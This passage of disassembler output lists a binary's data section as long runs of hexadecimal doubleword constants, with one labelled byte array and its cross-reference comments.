		dd 8801FF68h, 20883AF6h, 64400E8Ch, 7640C3FCh, 4818D7BEh
		dd 8368AC44h, 56A8CCE3h, 0D47C3B09h, 8CA0DEF0h,	0A492D117h
		dd 0C8CC848h, 58DD5456h, 88CF34Fh, 49807F77h, 560C6E06h
		dd 30B2EEh, 5C8B329Bh, 0AD7B1D40h, 0F92F03Ah, 81E9564Dh
		dd 8EB08A9Ch, 0E8E33FD0h, 4098911Ch, 48C12DFAh,	4E298492h
		dd 9387109Eh, 31E03F6Ah, 246E35C2h, 92C17BBh, 7482C4F3h
		dd 9082692Eh, 0B04C90D3h, 0E33DD400h, 3524F8FDh, 77E7400Eh
		dd 0A687048h, 80ADD8F7h, 56D8BB19h, 8593C58h, 34038B68h
		dd 5E142E16h, 0F8623064h, 98670E16h, 4027638Ch,	78818276h
		dd 5944584Dh, 932AA20Ch, 0EACEE032h, 175D1360h,	0B0D814D6h
		dd 7793733Ch, 0D784029Ah, 2092388Ah, 59A90481h,	0EE2830EAh
		dd 0B780B950h, 0C0780A4Dh, 564EF914h, 225C98C0h, 6426728Eh
		dd 0C12D822h, 29F7F405h, 0DF0C841Fh, 0E386D0AEh, 0EC44C094h
		dd 6DB4160Eh, 8062F683h, 209A1837h, 4874B85h, 4129CA82h
		dd 4C60C204h, 6C1A3ED7h, 3F46568Ch, 0A606F318h,	0DF4EB60Ah
		dd 7B540010h, 2A9BB750h, 0DC485608h, 0AC960158h, 8636056Fh
		dd 515814F7h, 0F3E0E4ABh, 1313446Ch, 940EFCF7h,	2409D3C9h
		dd 84C88E23h, 58C02914h, 3063EBACh, 16601557h, 5CE937D3h
		dd 7811C228h, 4E0CF4F7h, 8C90C92Eh, 0C0859892h,	3EC0B702h
		dd 6EACA33Ch, 188ECCF5h, 4E692802h, 0E0731FBh, 31A06726h
		dd 490B37Eh, 5D8841E6h,	18942161h, 71F20620h, 68C2CC30h
		dd 0C9DDAD2Eh, 2C3450C0h, 99265B1Dh, 0D418C690h, 0D863C07Bh
		dd 361F7CA5h, 2213AA49h, 0CAA2EE88h, 0C2494ECh,	0AD293A84h
		dd 114C8EC9h, 0CC363DC8h, 66F61418h, 0D8D62AD4h, 589AE8F8h
		dd 58BA6C3Eh, 0E835B088h, 51926F88h, 81D1DE24h,	60408928h
		dd 0E0988DF8h, 7C3AD72Eh, 0E811F70Ah, 0F23E189h, 9FC66E5Ch
		dd 0A110E41Bh, 0C830BA07h, 7012583Dh, 0AC879714h, 0A0FFD618h
		dd 10CC304Ah, 4C761826h, 0B61F8C1Bh, 0B9A8737Dh, 5196B019h
		dd 8BE4B21h, 634B713h, 40495A08h, 2EC09C4Ch, 31BC8816h
		dd 485A4935h, 98A0C606h, 28C963C9h, 9EC0A69Bh, 31962C08h
		dd 0ED2C3A54h, 29F9664h, 0B8E59734h, 0BE588840h, 41F480C6h
		dd 0BDB92640h, 108098B0h, 50C128D5h, 99E74455h,	0D9D0F0E1h
		dd 1DBEB83Bh, 7915259h,	0C1AA4719h, 0D3FA85F9h,	105C56E7h
		dd 38432033h, 0D9820CCDh, 0DF30BA32h, 0A040A163h, 61082EB9h
		dd 0F8790335h, 3ED1E62Bh, 0F119D124h, 0A508C5Eh, 7C4048E2h
		dd 40E0E887h, 0A57C8A4Ah, 7301B91Eh, 7ACD7987h,	0B2E43980h
		dd 1E42F0E1h, 98DAB8B0h, 0D26640A9h, 0C5FABA18h, 0E1D910h
		dd 8279E25Ch, 909AB92Ch, 72BA5840h, 7021E794h, 3E6819E0h
		dd 3D19E621h, 8C4360CEh, 0E87E2359h, 88A06105h,	0D0E07769h
		dd 70C6A16Dh, 20107B2Ah, 0D500A066h, 2B648151h,	0D9449Fh
		dd 0EB73E9FAh, 11DFDB6Eh, 8C28B80Ah, 5CC0149Ah,	38805309h
		dd 3180DFF7h, 0BA8EB96Bh, 8F434051h, 0B8751E06h, 0D10A514Dh
		dd 148D0AF9h, 74DD13E0h, 18DAEE38h, 78AFF1DFh, 0BE524A3Ah
		dd 6585872Ch, 9140F374h, 0FA8B59D5h, 8A8EA400h,	0B9CCD9DAh
		dd 0FF0E285Ah, 4A4890h,	0F9EB287Bh, 0F38D31E0h,	40F49610h
		dd 0B8B15284h, 0F79C5A18h, 90EF4530h, 0DDFA0304h, 0A5415091h
		dd 4EDE70A0h, 4890922Bh, 0FE657103h, 0B1C13F46h, 7A8A8C85h
		dd 0C143055h, 0ED035FEBh, 51DFD86Dh, 0E9B137A6h, 0F3AC4030h
		dd 0EA317AB9h, 0F8B3801Eh, 9A53E441h, 607019D0h, 82AAC043h
		dd 0B029F9E0h, 0FF03301Dh, 0C0B16C68h, 9071DF3Eh, 1A89127Fh
		dd 9A3402F1h, 6C41612Eh, 194883F6h, 0E9B92B52h,	20208E72h
		dd 24B7743Dh, 0AC7C9Ah,	6523CCF9h, 0A9498C1Fh, 0DFC48100h
		dd 15D5F0A6h, 0F51420h,	0A471ABBEh, 64F1182Dh, 0D10E2574h
		dd 8019C142h, 0B10139CBh, 0F110C0C8h, 77A1EB92h, 66690400h
		dd 8A420830h, 93AB3FB1h, 74CDDA83h, 0C5F031DBh,	2B027119h
		dd 269102EBh, 0D01C90E1h, 9D9F0020h, 3AF1EC79h,	0DC30505Ch
		dd 929109B1h, 62DA7434h, 22517859h, 0D34B2098h,	0AAA77D18h
		dd 0A6811A78h, 5C65004Ch, 8C820C8Fh, 0A0397AF1h, 8AB11B08h
		dd 0D80AA050h, 0A21C86A3h, 3F402E4Ah, 145AF1A9h, 31AF028Bh
		dd 11026350h, 22D630B0h, 0DFD222h, 0DB43AEBAh, 2F3C0B1h
		dd 5C2BB4E8h, 1A807CDCh, 213FE793h, 61F41860h, 0C8713885h
		dd 3C987667h, 38318A3Eh, 3721C6C0h, 38326064h, 0A0BD48C1h
		dd 2990F13Fh, 0A467CC03h, 7DC71A63h, 2D504C69h,	30A5311Ah
		dd 0C47D8016h, 311F2E31h, 0ABC85101h, 0A08C6031h, 0DA389691h
		dd 0A8D0E5F6h, 0C9FBB388h, 41920826h, 2D400E1h,	0DC575231h
		dd 4BF25117h, 80548E11h, 71F59C34h, 7ABCA03Dh, 854490B1h
		dd 8B538380h, 61658D79h, 9438D306h, 14CFF603h, 0CC843CAFh
		dd 0F8C49A14h, 9ED76CE0h, 7723CB20h, 0D852619Ah, 0D01826C9h
		dd 71E830F3h, 1CA4A67Dh, 59A0D300h, 0C7708194h,	117F31C1h
		dd 87DF5DE8h, 333B290h,	0A508A986h, 4548805Ch, 4E277879h
		dd 7E61C77Dh, 3398F140h, 5B07E44Eh, 5CE14183h, 0F3483AA8h
		dd 229752Ch, 5E436C72h,	290BE3CDh, 4090E1A1h, 0E5D01C7Eh
		dd 41802567h, 910326E0h, 2A0E7419h, 0E0F47411h,	0DF08DE30h
		dd 0AB918702h, 6F8ECE3Bh
		dd 0A0880712h, 0CCD1D116h, 479C415Eh, 46289B71h, 985DE208h
		dd 22FF734Ch, 21501390h, 98AA3230h, 0E4CC3090h,	8B51A090h
		dd 301AD1C0h, 5571D140h, 6F5AB4A0h, 0B8DFF8CDh,	249596F0h
		dd 51B4BB83h, 35F8FCFBh, 309C9451h, 0DA1C36D5h,	52BA3F31h
		dd 0D97AC1ECh, 318C2E8Ah, 91904C9Ah, 787B3B24h,	300CD270h
		dd 0FA31AD3Ah, 0DA523573h, 3EDEC1F8h, 3424EBA0h, 58B264DAh
		dd 0B1F85011h, 32FC1264h, 62628A1Ah, 86024014h,	0DB1FE398h
		dd 418061B4h, 85315430h, 0FE34B703h, 7A810992h,	0A89C6FE4h
		dd 0D5F9C502h, 61AABE4Bh, 94FA1C80h, 181F7F50h,	78AF57C4h
		dd 4EFD17BAh, 398E06F8h, 0A29C7A9h, 260B19Ah, 0F65E58BCh
		dd 0E1E31339h, 4460FA28h, 5D3D784Ah, 0A45CE914h, 6494F98Fh
		dd 604861A0h, 3A799262h, 389442AAh, 1818343Ch, 501F600Bh
		dd 0B12D7E1Ah, 5154B3h,	6580DB83h, 9A3E9BA5h, 9C3B02A1h
		dd 401BB6D8h, 0ACFB8329h, 72CB0878h, 7A8656D0h,	30A071B2h
		dd 7440DE28h, 8AE8B6F9h, 34F08498h, 0FBB4E90Ch,	0FDB1035h
		dd 7B83FDD1h, 79EEA4Fh,	0C3B3C69Bh, 8BA4A72Fh, 0AA050370h
		dd 1CDA12A3h, 54205A70h, 14B0D818h, 0F201740Bh,	0BAFA05F6h
		dd 6867CD76h, 0D0060D00h, 0A73A24DAh, 1AE0D201h, 238C5D87h
		dd 4AB7B8F3h, 29736089h, 0CA9466AFh, 1BD1D401h,	226B7B27h
		dd 541CB470h, 0CCF1444h, 0CDD4BF71h, 4C084750h,	50F02218h
		dd 2410CDD3h, 0E700D2AAh, 10222E4Dh, 30E83A9Fh,	0A3F4C3Ch
		dd 48C75D70h, 19B37550h, 68ECD198h, 0D58ED007h,	0A8253E01h
		dd 0B5FD5D6Ah, 0C161848h, 0CBCDCF0Bh, 806A770h,	10702381h
		dd 0C308C39h, 5BFF24F3h, 0DF10C7F1h, 9AB02393h,	0C160465Ch
		dd 28C86759h, 65101621h, 0F9350ABEh, 0C6766044h, 59C64FA7h
		dd 2930BE87h, 812C5C30h, 368FCFEEh, 0A52701BFh,	60A480A1h
		dd 5C285A13h, 6147BA40h, 7D90288Fh, 20284804h, 5E788513h
		dd 10B86110h, 0E9296F5Fh, 1D828328h, 7914714Ch,	2B946F07h
		dd 0A70364B0h, 77178EBAh, 25870351h, 6F9F9021h,	2B52F0A8h
		dd 0D0445DF1h, 7C2A8BA0h, 9BF6ACCEh, 0DC4E88C6h, 703B15B8h
		dd 85DE7425h, 205E3379h, 0DD2CFBB4h, 9C38BE2Bh,	0AF637581h
		dd 8700C845h, 0C080C2D8h, 3EB802E2h, 5ED40FDAh,	0FC071045h
		dd 990CD297h, 50320927h, 2834DEB8h, 6DD8E60Ah, 0C000086Fh
		dd 2C5F7B22h, 107C748Fh, 41F4E4h, 3347F290h, 19253E0h
		dd 0D3BDAB72h, 0E0367920h, 37043A2Ah, 0DFE25A7Fh, 0EEFB0791h
		dd 0C77030h, 0DC564661h, 893EFAFCh, 79936500h, 25858A0Ch
		dd 65700D7h, 68EBE1F9h,	8372E89Bh, 0F5D5B0Ch, 30548810h
		dd 0A890DD62h, 26001D64h, 4942D3D5h, 0E2528Eh, 7384E4CDh
		dd 3F77350Bh, 8FA63400h, 52A4132Ch, 19810359h, 17BEA36Bh
		dd 0E23839E0h, 84DEF500h, 66F1E9ACh, 0FF1C01Ah,	444C9850h
		dd 0ED9878EAh, 80C1D700h, 3F9E91B3h, 2089C061h,	15AEB03Ch
		dd 0CB6E38C2h, 0D6CBE054h, 0EB77E9h, 0F3B85D8Ah, 0F23AE717h
		dd 3048148h, 4CE1334h, 0C7FBC054h, 8AC3006Bh, 0DD86C983h
		dd 2300D130h, 0A299039Dh, 0CE9CDFh, 0A4940EECh,	54FC0713h
		dd 2F839000h, 0CFC20F2Ch, 0EC31EDCh, 9D80003Fh,	0F2A07EA8h
		dd 94702B73h, 50D2DF2Eh, 0C7AB5900h, 606EA1DAh,	455A30BEh
		dd 20C01E57h, 6C5EC491h, 41DBF4D0h, 9DA7F4CCh, 0E456D933h
		dd 2B198E79h, 0F604C3D1h, 0DC1BCB00h, 619E9D5Dh, 0F5100045h
		dd 386693B6h, 4D28C067h, 0C30AA47Bh, 801DB986h,	0F819840Ch
		dd 0A2793299h, 34BC412Ch, 0E34C1052h, 1EEB7Fh, 2BA01F68h
		dd 74569DCCh, 97664400h, 0C60BDAAh, 0CFFDEF2Eh,	0BBD71988h
		dd 11D93042h, 5018508Bh, 53895542h, 4AF0170Ch, 0C505F89h
		dd 894BA3F1h, 724513Bh,	8748429Ch, 486918A5h, 70614330h
		dd 0B711CD3Ch, 426C08BCh, 8A0F21FBh, 0A183D93h,	0F124C3ABh
		dd 0E760524Eh, 57D24A1h, 0C52311C8h, 18A95C08h,	495452EFh
		dd 483360A5h, 0BF65DC24h, 451F4845h, 0A79B1804h, 0D89DAA00h
		dd 4E887520h, 0CC0CA1B3h, 7CDF99D0h, 0D8DA4446h, 0D5003BB8h
		dd 1ECEACF7h, 54C319h, 0E3CD099Fh, 0F493814Dh, 0EB42A400h
		dd 3394235Eh, 62E41FB6h, 0AC318050h, 35BDA241h,	9BA1C112h
		dd 9956AC40h, 62C76E2h,	0F78574E4h, 0F90AE959h,	80691904h
		dd 0A05AB700h, 0CD29DFh, 8F757833h, 0A7817B76h,	39A1D660h
		dd 284B2Fh, 31CB8E36h, 4780C4D1h, 7671F63Eh, 0A83BD607h
		dd 52B03A89h, 7DFD861h,	12EB107h, 5F607ECBh, 0FA283563h
		dd 1C4B4C29h, 0F9210CE0h, 29A60E2Ah, 0F3C0FC7Fh, 0FA6DA96Ah
		dd 9B80B700h, 0CFD15C6h, 7835007Eh, 2746E566h, 2F304C70h
		dd 89D258F7h, 35E300D3h, 113C022Dh, 5200482Eh, 0E89D88E6h
		dd 81F17DB8h, 1A8CE032h, 5014C030h, 1FB7DFE6h, 94A2FBABh
		dd 1C0114A7h, 0DD46E0EDh, 23345001h, 450776B4h,	0F07EAAADh
		dd 5B98D1C0h, 1283CAFh,	37196E83h, 8BC03465h, 0D1047859h
		dd 0C8381243h, 4BF321C0h, 659C38F0h, 5A214980h,	2547D37Fh
		dd 0BCAB9CA0h, 980B7430h, 48D4BAh, 3CEA4157h, 95D73783h
		dd 68162430h, 0C388Bh, 85EC2076h, 70E0BF58h, 4E50A7F8h
		dd 0E1D9068h, 1305D167h, 406099D5h, 2A359E92h, 0C84931h
		dd 8542683h, 0EBBBFF8Dh, 85244200h, 4D801CBDh, 0C0035457h
		dd 30FB7879h, 4010FFAFh, 3903319Bh, 9358AE28h, 5A00008h
		dd 0C5041395h, 5718176Dh, 0DB18ED5Fh, 0BA390070h, 9BD7D041h
		dd 20E4ECEh, 99535256h,	0EFF46720h, 0E88A0E9h, 0A1BD002Fh
		dd 0D7D1E833h, 18C62463h, 8C380756h, 0B1E10184h, 0D3401DE0h
		dd 1B908030h, 0AA429FFEh, 46C20E73h, 2E80BDECh,	0B826DBB1h
		dd 0E10E237Fh, 0E5E7012Bh, 0FC03F291h, 80B46CB9h, 7DFA7B1h
		dd 61D9A5C4h, 0A23E1396h, 1F121896h, 4820101Dh,	4D939Eh
		dd 0C307D327h, 4BE97095h, 18841754h, 977BEA0Eh,	87AF608Ah
		dd 24FA8558h, 9D90734Dh, 0B5E180B6h, 0AF579D33h, 34E49450h
		dd 0E0AF100h, 243C1F1Ch, 8DB11D4Ch, 0C4101529h,	2864BA0Eh
		dd 0FD7C17C0h, 0E80AC348h, 8C4C0F56h, 507FA839h, 123C8644h
		dd 4E39F72Ah, 51A0CCB0h, 0A5AA409Dh, 85C38E02h,	43F4C4ADh
		dd 0B641E974h, 96424h, 22E4CA9h, 0D358840Eh, 0A840A331h
		dd 0CFCBE9h, 0A1034E8h,	0E8B823C4h, 2E0830ACh, 0E1802A2Fh
		dd 0F8C13FA7h, 4C300BA6h, 43C2482Dh, 881A2645h,	0A8D50010h
		dd 734B729Eh, 24009171h, 0C867AF8Ah, 634A61h, 35410625h
		dd 0C91F262Fh, 68247D01h, 279E18DFh, 3453F0h, 659C5FAh
		dd 960973C7h, 0F6D20207h, 49305ED0h, 3E3D4E57h,	3E0E1E45h
		dd 50F9FEEAh, 0B0F5ECEDh, 43C613Ah, 24B399Ah, 456F24C0h
		dd 0DF7900D2h, 0C272FF6Ch, 7A380FB2h, 932F8FA1h, 2A0A2062h
		dd 1AF16Eh, 0CDF8B052h,	41B95F99h, 0DD30E200h, 3C3B1F3Eh
		dd 0F9583053h, 8BC0CFA0h, 2C9B2600h, 29EF39B6h,	3B573BAh
		dd 0ABBE353Bh, 787B4493h, 0D1EE8E0h, 486AC9C8h,	876C8900h
		dd 0ECF620E4h, 416E3E1Eh, 8E64D41Ch, 0C6A2157Ch, 0C077A16Ch
		dd 0C9C4E4h, 0EFE90E1h,	96F292C7h, 3D8E8700h, 0D07C277Bh
		dd 5084A140h, 0E5A9FBC4h, 762AAECh, 0EE134BA2h,	0F58C607Eh
		dd 0F101E0E1h, 0DD3B2A10h, 0C8402E70h, 0CB6634BEh, 9C039F99h
		dd 0E83AF7C8h, 0A00E8321h, 0C0C4D56Eh, 7ED9255h, 0D2C9A76h
		dd 1C1D6001h, 0CB01E4F1h
		dd 82A54534h, 20807A7Bh, 0B3B9E875h
		db 35h
byte_530055	db 0Eh,	0A0h, 84h	; DATA XREF: ___:off_437A24o
					; ___:off_437A3Co
		dd 76059CFBh, 983EC440h, 42A1802h, 0FB60083h, 0D000F4C5h
		dd 0E398E959h, 0A01B3B16h, 2892D180h, 0B828F9h,	8453D758h
		dd 0D9D80D91h, 5084B48h, 9E618D3Bh, 0E57915C0h,	3041F413h
		dd 0C668CC88h, 3E28C2D0h, 10D29452h, 390AF51Eh,	0E246081Bh
		dd 0C3088098h, 42D73C44h, 872D5C1Eh, 0E02FF336h, 1BD03BFEh
		dd 40F2B224h, 0F09A500h, 157DBFh, 0A3BBAA6Ah, 53FC2663h
		dd 76EF54Ch, 22643F94h,	0EB11D121h, 4078B0B4h, 0B5E9F404h
		dd 33606934h, 0BE0EAB19h, 0A07850EBh, 89131CACh, 0EE9740AEh
		dd 4DBA02E8h, 5A402660h, 325D6h, 0C840A590h, 4850237Ah
		dd 74037C92h, 4CC5FB8Dh, 51139162h, 9AAB3D0h, 0A82A18C0h
		dd 5B152014h, 24C875BDh, 218178FBh, 11E84A5Dh, 96159850h
		dd 0E5ED1EE2h, 4F65012Ch, 407D22DAh, 3F5168E4h,	0A2D980E7h
		dd 79E1B0BAh, 5D4C30B6h, 33D71351h, 0B5A19000h,	16D6020Ah
		dd 4E11C249h, 27E0A47Ch, 78707740h, 3060622Ah, 0B189DD34h
		dd 0EF744820h, 0FAED00DBh, 826381E9h, 3C8176ECh, 185CF0C0h
		dd 38939B68h, 0B80FA17Eh, 602E86D2h, 0B3E5A6A3h, 0FFBCA842h
		dd 53E13CEDh, 8B508187h, 312EC040h, 0DF12FD3Dh,	0A000A07Ch
		dd 28F265BBh, 0CECB1252h, 47A40909h, 0F355DC80h, 0C9005C85h
		dd 1B9490C8h, 0E02AE4Bh, 13B29915h, 21D3C6C0h, 1898F625h
		dd 0D77E8807h, 2070AAEAh, 0EBB1AFh, 0A91E3748h,	0DFA25D83h
		dd 0DDEE1003h, 2D1A5ED1h, 0DCD6BFF0h, 0CBA4900h, 0C589A3Bh
		dd 20E3AC75h, 3E00E920h, 8E66FA1Ch, 1D972B3Fh, 40D851E7h
		dd 75075E32h, 30FBC15Fh, 0FD01356Ch, 8B253031h,	40803DF8h
		dd 9CD68AAFh, 0ED003EF0h, 0B2DFC9E8h, 0BB15B5h,	0C3224066h
		dd 13C26E3Bh, 0ECB9F4A9h, 0AD54AFD0h, 8C0076A4h, 6368BBA1h
		dd 187C3FFh, 0DA445F86h, 802A0B21h, 0D694E378h,	7A043324h
		dd 0A9101AFh, 0BCE7B6E1h, 0B4F434A7h, 55DCCE00h, 0BB1C6317h
		dd 599700FEh, 112A220Bh, 9001F36Bh, 36879E24h, 45BA1D4h
		dd 80B5461Fh, 0D296527h, 0A03DEFD9h, 42BCD5h, 37F26345h
		dd 4A1BCCAh, 9E22FD0Ch,	57E18730h, 49AC9689h, 0F44948h
		dd 738F2005h, 0ECDE2C18h, 445900BFh, 0B30616DCh, 71789341h
		dd 0CEF36700h, 8BF09783h, 332B03B1h, 595C52B8h,	68276800h
		dd 0B3B25FF5h, 353F18F7h, 717208A7h, 0C8C720C2h, 3418C04Fh
		dd 0B49B2E96h, 17C400C7h, 4954D992h, 4AD48D0Ch,	4C87B911h
		dd 3B1FCB96h, 91D6AFF8h, 8A05040Eh, 0DB808414h,	37386BA7h
		dd 3D9D008Dh, 0D8609E51h, 531CA833h, 2A40EDF7h,	0EE780629h
		dd 1BD30121h, 0D16B706Fh, 0E8F1CD7Eh, 330E3C9Bh, 0E3B762D7h
		dd 0C0FA6C40h, 3E6753F7h, 0EE806451h, 0AAE50120h, 334D3D6h
		dd 80021996h, 1059FFD2h, 9504F56Eh, 3C3863B2h, 21002E23h
		dd 0E7501739h, 18C682A2h, 703E2F12h, 900048Fh, 0D970A655h
		dd 878889h, 36DDF385h, 567CC36Fh, 117A8FE0h, 0E1638CA8h
		dd 0D1F5FC32h, 884495FAh, 0B96066C0h, 43761Bh, 0ED0D099Eh
		dd 0D3707D82h, 3749590Eh, 8EB1EBD4h, 3351A0BFh,	0B34A841h
		dd 4B1C4746h, 534EA300h, 96501691h, 0FF1F52DCh,	82C7DC58h
		dd 0AF307FA2h, 18F3DE27h, 78CDC696h, 860015E8h,	6351D6A3h
		dd 77F1879h, 0BB02C68h,	42809C8Bh, 0C15BC501h, 0C8854A5h
		dd 0FEA70C24h, 7C20F146h, 261B3E41h, 517CF880h,	4284C744h
		dd 80FD04E8h, 33B861B8h, 0BF8A5Bh, 8C56AE60h, 497B065Fh
		dd 0EA315900h, 0C3F209C7h, 480DEA91h, 3AC0604Eh, 0C8A3A950h
		dd 109C4A53h, 1D00601Fh, 0E77F4FC3h, 0E2028A84h, 0D07295D1h
		dd 8CACA1C4h, 46C867BBh, 0E3913F25h, 86C024F7h,	0F66A80D8h
		dd 2697A232h, 66FA6160h, 7351CB72h, 7155193Dh, 0E8AAA077h
		dd 11029B90h, 0BFBD916Ah, 188466Fh, 0E1DD2060h,	8C91BCDh
		dd 0A594881Ah, 496A0A00h, 31EB1FEEh, 21CC3F6Fh,	0F4F3C500h
		dd 0C7B45A45h, 22017003h, 0DFBE3C0Ch, 0A21046D1h, 93B933E8h
		dd 0F5670124h, 185BB342h, 688A82Dh, 0DC4A0E65h,	0C620FA01h
		dd 6B90F5B5h, 7252E81Eh, 3DF12C9h, 0D0E5EA94h, 470AD26h
		dd 9979E4Eh, 0B440D0FFh, 0C20316BFh, 62FCFA1Dh,	90096C4Bh
		dd 1A009420h, 0F3B77B17h, 685D92h, 6C6F015Ah, 0ED72466Ah
		dd 0FEA3D70Eh, 0D0888190h, 14224706h, 42260271h, 43C73A4Fh
		dd 0C089D510h, 38977320h, 0B0005A27h, 5B860D13h, 0C9C1BFh
		dd 6C3D1949h, 99E3FDADh, 6904CC90h, 8AD01E03h, 565FFC90h
		dd 6107845Ch, 0B04CC4F5h, 401C6528h, 5016F494h,	8A0C1485h
		dd 190D53AEh, 0B815EADCh, 3CBCA088h, 99490C7h, 99124957h
		dd 263E7818h, 539FDD08h, 215066DFh, 0E5E83060h,	75FF56h
		dd 0F7728C4Dh, 3FBFEAAh, 2DA9B400h, 9495B1B5h, 0FC70FF8h
		dd 45278830h, 27D6409Eh, 820473BDh, 0EDE6EE83h,	0A4BAB887h
		dd 15155AC3h, 40D834E2h, 0A4822Ah, 7E27409Ch, 0AEB30759h
		dd 5A89217h, 0E6B2CE00h, 209F693h, 0D36E78CBh, 0F44A6294h
		dd 8C90482h, 416C518h, 0EBCA3368h, 0A32365h, 1D3D5E21h
		dd 60A96D6Bh, 0BCF0CC00h, 3203A5F4h, 0AD70007Eh, 0AA914DC9h
		dd 7CFEC755h, 50E82C4Eh, 68FD0674h, 0B0E08A58h,	399B4E00h
		dd 0DE499D33h, 0A5F10047h, 0C7B096FDh, 0A004154h, 0D1A75D8Eh
		dd 1660651Fh, 47B1A4A8h, 55AF2824h, 4EC490DDh, 5512818Dh
		dd 0C219749h, 0F8248710h, 0BC5700DCh, 43F95AAAh, 93004A5Bh
		dd 17A5A9A3h, 0AAD907Ch, 3FA70885h, 0CDF706B4h,	9B0092E2h
		dd 0C9BB535Fh, 76DBCB64h, 0CA56004Bh, 0BF5AD6Eh, 7002A706h
		dd 0EC341FACh, 9760C24Ah, 59798848h, 4D7CB6C0h,	72F3F28Ah
		dd 32870122h, 1CAD989Eh, 0EC02011h, 0D0C196FCh,	0C233971Ah
		dd 37B87EC4h, 60C6DB83h, 4F030188h, 0D90C4C77h,	30974092h
		dd 936DE8E6h, 1C5900F4h, 0BFEA2064h, 4F28F0A6h,	6A4CCC89h
		dd 44520904h, 66D60098h, 0F0721A78h, 0BD3F0012h, 8F29B3A7h
		dd 0E002B534h, 4AA51756h, 984D71h, 87B89385h, 0E70FDB1Dh
		dd 0E0281CF6h, 2B580F54h, 739A003Bh, 82015369h,	14001FFBh
		dd 0D7C577FFh, 3EF931D3h, 0C00344Dh, 2F2544E5h,	94E84221h
		dd 0FD2AF100h, 9A6AC716h, 44E4007Fh, 267EA7B5h,	0C4039C75h
		dd 1E18BC5Dh, 1D01E064h, 0D1E50E20h, 0A5E1C70Bh, 809091D3h
		dd 7E2C6B18h, 1935F98h,	33A17C94h, 7BF1D8DFh, 0C94CA0h
		dd 0EA6C029Eh, 35667D0Bh, 0CB253Bh, 0DF3B0465h,	506148BEh
		dd 6E93701Fh, 53C32023h, 4909E5Ch, 3A00FE2Eh, 9130122Dh
		dd 42794EBh, 0FAEFD02Fh, 0D6F809Dh, 66070F3h, 2A0345E8h
		dd 1E4E7B39h, 9D983281h, 56C0CCFh, 0B400F720h, 0F588FC2Bh
		dd 0EE689Ch, 0C0B0BA39h, 0ADA4723Ah, 0F82DB402h, 0A05C790Bh
		dd 1B327058h, 0FCAE1003h, 0C67E801Ch, 3A0BCAh, 0FF615D87h
		dd 9BE31189h, 590E0302h, 5564AABBh, 334F5660h, 9C08E60h
		dd 38E0B1h, 9DF9CF26h, 279648B5h, 0E4D76F03h, 0C815929Eh
		dd 14452694h, 0E0CEB635h, 0B26BCB03h, 19777D9h,	98F01711h
		dd 4B217109h, 4700BF16h, 3F5BD122h, 0B20F6B06h,	72C94567h
		dd 0C458F5EBh, 99321D96h, 1CFD0818h, 2B9450h, 11F7D4C4h
		dd 63A8A6A7h, 0DC0FA400h, 6FAE7365h, 7A6B0068h,	85DA2A5Ch
		dd 0EA00BF4Dh, 0C11E8FADh, 741DDFF9h, 21336046h, 0F0D8E16Dh
		dd 91094CFAh, 8069AA71h, 1B8EC509h, 90AE0009h, 2BDE63BEh
		dd 2200E56Ah, 2D5E3548h
		dd 329A10Bh, 91013F43h,	0B6AA2B44h, 0F57E3CA0h,	0B7217806h
		dd 292888B3h, 0D8E93000h, 2E415Eh, 23B7629Eh, 0FBFFB243h
		dd 61D23100h, 8077CF11h, 703E6030h, 0CA10FA2Bh,	3216048h
		dd 0B9ABEBA1h, 0ACE8A19Eh, 0B2AF2080h, 59F4A313h, 2A56F300h
		dd 0FE73C470h, 0E76B18CFh, 0A9584821h, 349BCD18h, 0C0D2D611h
		dd 0D10DA661h, 0AA0003DDh, 9AB571C7h, 5C1B3E96h, 0A035F85h
		dd 0FC29FE48h, 104C2AC5h, 0C0C085F5h, 3797EF42h, 0A324E900h
		dd 0A5B38094h, 0B6B4A0CCh, 502A6050h, 63FE5AF4h, 2BD12901h
		dd 1DB0E1ECh, 9C0185D3h, 0ABF18BDh, 0D00D58BCh,	0E0181A02h
		dd 7800EE06h, 0D7313E4Bh, 15E46932h, 0D8F02A4Ah, 21853065h
		dd 4A7AE104h, 8D08A60Ch, 0F53A0018h, 709F6B97h,	0A5FD1400h
		dd 205B2ADBh, 25730CF7h, 9F196F09h, 3A212B42h, 72C5F390h
		dd 0CB240A94h, 62F8A0Ch, 0C20F1018h, 215678CEh,	125E7927h
		dd 3B30A262h, 2D0C82A8h, 5330858Ah, 7F00C45h, 9AD71804h
		dd 0FE908321h, 9E322B24h, 9B8A48AEh, 3C59150Ch,	0DB49C330h
		dd 23500D57h, 0A000E2D4h, 439DD372h, 0FF67C5AEh, 0A9D11883h
		dd 40027F6Ah, 0CDEBFDE2h, 8CB8A007h, 3E0C1E45h,	0EF03DBF7h
		dd 397E80F5h, 948E3801h, 75DCF403h, 953000C7h, 0E0BAFEBDh
		dd 69004746h, 0E9904CEAh, 629977h, 7B8F275Ch, 74B7D157h
		dd 0F42A607h, 747ACE2h,	0AF397CE0h, 0C1C53ADEh,	6BA80980h
		dd 0C4F36586h, 4CFCA329h, 0D1C96304h, 2E144090h, 72EF00E8h
		dd 888EF44Bh, 15003EACh, 0B265B897h, 0F4475D99h, 0E57D3C8Bh
		dd 7C936881h, 0C82695A6h, 201FC23h, 5AE72F03h, 6BD81ADFh
		dd 83AB157Dh, 52881C5Ch, 0EE1CD0h, 5778EAC6h, 6D18993h
		dd 0F8765D1Fh, 6E11F416h, 533FF0C0h, 0E1E51D73h, 7D35805Ch
		dd 0FDADF957h, 0EDE94760h, 0D2848h, 0DEBF062Ah,	5C3F9211h
		dd 0F3F49600h, 0DA508394h, 52B629EDh, 6AC0805Ch, 660AC180h
		dd 9BCE2800h, 0CB15273Dh, 0EEBEB8C3h, 5D8300F4h, 0D7504D6Dh
		dd 80785E3Fh, 0ECE227E0h, 0FFAFC913h, 0DDDFB040h, 5AC50E06h
		dd 1E79005Dh, 6F6166E4h, 65196013h, 120BD447h, 8F2D7BE0h
		dd 0CA35071Bh, 23F452BAh, 0B11DF0DEh, 4340F19Eh, 0F8411490h
		dd 0CBCD00AAh, 8F1E2EE6h, 8600D80Dh, 4C11FA7Dh,	0F819A9F9h
		dd 0A3F101ACh, 0BB7995E7h, 0EDB3E0E5h, 1C5553Ch, 1AEBF3EEh
		dd 0B9D03CA7h, 841D50C2h, 0CDE1004Eh, 66EC9D8h,	1300CFEDh
		dd 0A3F54903h, 40AF2h, 55123CC1h, 1E58B273h, 9AC25B07h
		dd 0D8805C69h, 0C0B8818Eh, 5AE50740h, 730C801Ch, 3055EC33h
		dd 353900C5h, 3456C43Ah, 0B5004150h, 948C520Fh,	7419332Fh
